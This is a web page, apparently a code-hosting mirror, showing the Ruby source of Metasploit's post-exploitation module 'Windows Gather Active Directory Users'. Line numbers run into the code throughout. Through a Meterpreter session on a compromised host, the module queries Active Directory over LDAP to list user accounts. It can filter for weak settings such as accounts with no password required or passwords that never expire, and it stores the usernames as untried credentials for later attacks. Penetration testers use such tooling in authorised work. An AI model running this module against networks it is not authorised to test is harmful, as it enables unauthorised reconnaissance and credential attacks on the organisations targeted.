Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/post/windows/gather/enum_ad_users.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Post6include Msf::Auxiliary::Report7include Msf::Post::Windows::LDAP8include Msf::Post::Windows::Accounts910UAC_DISABLED = 0x0211USER_FIELDS = [12'sAMAccountName',13'name',14'userPrincipalName',15'userAccountControl',16'lockoutTime',17'mail',18'primarygroupid',19'description'20].freeze2122def initialize(info = {})23super(24update_info(25info,26'Name' => 'Windows Gather Active Directory Users',27'Description' => %q{28This module will enumerate user accounts in the default Active Domain (AD) directory and stores29them in the database. If GROUP_MEMBER is set to the DN of a group, this will list the members of30that group by performing a recursive/nested search (i.e. it will list users who are members of31groups that are members of groups that are members of groups (etc) which eventually include the32target group DN.33},34'License' => MSF_LICENSE,35'Author' => [36'Ben Campbell',37'Carlos Perez <carlos_perez[at]darkoperator.com>',38'Stuart Morgan <stuart.morgan[at]mwrinfosecurity.com>'39],40'Platform' => [ 'win' ],41'SessionTypes' => [ 'meterpreter' ],42'Compat' => {43'Meterpreter' => {44'Commands' => %w[45stdapi_net_resolve_host46]47}48}49)50)5152register_options([53OptBool.new('STORE_LOOT', [true, 'Store file in loot.', false]),54OptBool.new('EXCLUDE_LOCKED', [true, 'Exclude in search locked accounts..', false]),55OptBool.new('EXCLUDE_DISABLED', [true, 'Exclude from search disabled accounts.', false]),56OptString.new('ADDITIONAL_FIELDS', [false, 'Additional fields to retrieve, comma separated', nil]),57OptString.new('FILTER', [false, 'Customised LDAP filter', nil]),58OptString.new('GROUP_MEMBER', [false, 'Recursively list users that are effectve members of the group DN specified.', nil]),59OptEnum.new('UAC', [60true, 'Filter on User Account Control Setting.', 'ANY',61[62'ANY',63'NO_PASSWORD',64'CHANGE_PASSWORD',65'NEVER_EXPIRES',66'SMARTCARD_REQUIRED',67'NEVER_LOGGEDON'68]69])70])71end7273def run74@user_fields = USER_FIELDS.dup7576if datastore['ADDITIONAL_FIELDS']77additional_fields = datastore['ADDITIONAL_FIELDS'].gsub(/\s+/, '').split(',')78@user_fields.push(*additional_fields)79end8081max_search = datastore['MAX_SEARCH']8283begin84q = query(query_filter, max_search, @user_fields)85rescue ::RuntimeError, ::Rex::Post::Meterpreter::RequestError => e86# Can't bind or in a network w/ limited accounts87print_error(e.message)88return89end9091if q.nil? || q[:results].empty?92print_status('No results returned.')93else94results_table = parse_results(q[:results])95print_line results_table.to_s9697if datastore['STORE_LOOT']98stored_path = store_loot('ad.users', 'text/plain', session, results_table.to_csv)99print_good("Results saved to: #{stored_path}")100end101end102end103104def account_disabled?(uac)105(uac & UAC_DISABLED) > 0106end107108def account_locked?(lockout_time)109lockout_time > 0110end111112# Takes the results of LDAP query, parses them into a table113# and records and usernames as {Metasploit::Credential::Core}s in114# the database.115#116# @param results [Array<Array<Hash>>] The LDAP query results to parse117# @return [Rex::Text::Table] the table containing all the result data118def parse_results(results)119domain = datastore['DOMAIN'] || get_domain120domain_ip = client.net.resolve.resolve_host(domain)[:ip]121# Results table holds raw string data122results_table = Rex::Text::Table.new(123'Header' => 'Domain Users',124'Indent' => 1,125'SortIndex' => -1,126'Columns' => @user_fields127)128129results.each do |result|130row = []131132result.each do |field|133if field.nil?134row << ''135else136row << field[:value]137end138end139140username = result[@user_fields.index('sAMAccountName')][:value]141uac = result[@user_fields.index('userAccountControl')][:value]142lockout_time = result[@user_fields.index('lockoutTime')][:value]143store_username(username, uac, lockout_time, domain, domain_ip)144145results_table << row146end147results_table148end149150# Builds the LDAP query 'filter' used to find our User Accounts based on151# criteria set by user in the Datastore.152#153# @return [String] the LDAP query string154def query_filter155inner_filter = '(objectCategory=person)(objectClass=user)'156inner_filter << '(!(lockoutTime>=1))' if datastore['EXCLUDE_LOCKED']157inner_filter << '(!(userAccountControl:1.2.840.113556.1.4.803:=2))' if datastore['EXCLUDE_DISABLED']158inner_filter << "(memberof:1.2.840.113556.1.4.1941:=#{datastore['GROUP_MEMBER']})" if datastore['GROUP_MEMBER']159inner_filter << "(#{datastore['FILTER']})" unless datastore['FILTER'].blank?160case datastore['UAC']161when 'ANY'162when 'NO_PASSWORD'163inner_filter << '(userAccountControl:1.2.840.113556.1.4.803:=32)'164when 'CHANGE_PASSWORD'165inner_filter << '(!sAMAccountType=805306370)(pwdlastset=0)'166when 'NEVER_EXPIRES'167inner_filter << '(userAccountControl:1.2.840.113556.1.4.803:=65536)'168when 'SMARTCARD_REQUIRED'169inner_filter << '(userAccountControl:1.2.840.113556.1.4.803:=262144)'170when 'NEVER_LOGGEDON'171inner_filter << '(|(lastlogon=0)(!lastlogon=*))'172end173"(&#{inner_filter})"174end175176def store_username(username, uac, lockout_time, realm, domain_ip)177service_data = {178address: domain_ip,179port: 445,180service_name: 'smb',181protocol: 'tcp',182workspace_id: myworkspace_id183}184185credential_data = {186origin_type: :session,187session_id: session_db_id,188post_reference_name: refname,189username: username,190realm_value: realm,191realm_key: Metasploit::Model::Realm::Key::ACTIVE_DIRECTORY_DOMAIN192}193194credential_data.merge!(service_data)195196# Create the Metasploit::Credential::Core object197credential_core = create_credential(credential_data)198199if account_disabled?(uac.to_i)200status = Metasploit::Model::Login::Status::DISABLED201elsif account_locked?(lockout_time.to_i)202status = Metasploit::Model::Login::Status::LOCKED_OUT203else204status = Metasploit::Model::Login::Status::UNTRIED205end206207# Assemble the options hash for creating the Metasploit::Credential::Login object208login_data = {209core: credential_core,210status: status211}212213login_data[:last_attempted_at] = DateTime.now unless (status == Metasploit::Model::Login::Status::UNTRIED)214215# Merge in the service data and create our Login216login_data.merge!(service_data)217create_credential_login(login_data)218end219end220221222